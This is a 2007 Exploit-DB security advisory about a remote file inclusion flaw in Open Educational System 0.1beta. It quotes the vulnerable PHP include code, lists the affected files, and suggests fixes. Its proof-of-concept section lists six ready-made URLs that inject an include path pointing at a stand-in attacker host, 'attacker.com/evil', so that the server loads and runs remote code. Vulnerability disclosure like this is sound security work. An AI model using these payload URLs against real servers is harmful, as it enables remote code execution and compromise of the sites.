OES (Open Educational System) 0.1beta - Remote File Inclusion

EDB-ID:

3465

Author:

K-159

Type:

webapps

Platform:

PHP

Published:

2007-03-12

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\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_69$2007

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[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 12th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl   : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Open Educational System 
version       : 0.1beta
Vendor        : http://openeducation.sourceforge.net
Description :

OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/lib-account.inc.php :  
  	
----------------includes/lib-account.inc.php-------------------
<?php
	// File        : /include/lib-account.inc.php
	//
	// Description : This library is for administrator and normal user account mangement.


	// Include the configuration file.
	include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );

	// Include the main include file for running all routine.
	include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );

	// Include the ADOdb Class
	include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');

...
----------------------------------------------------------------


Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
~~~~~~~

- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2007-03-12]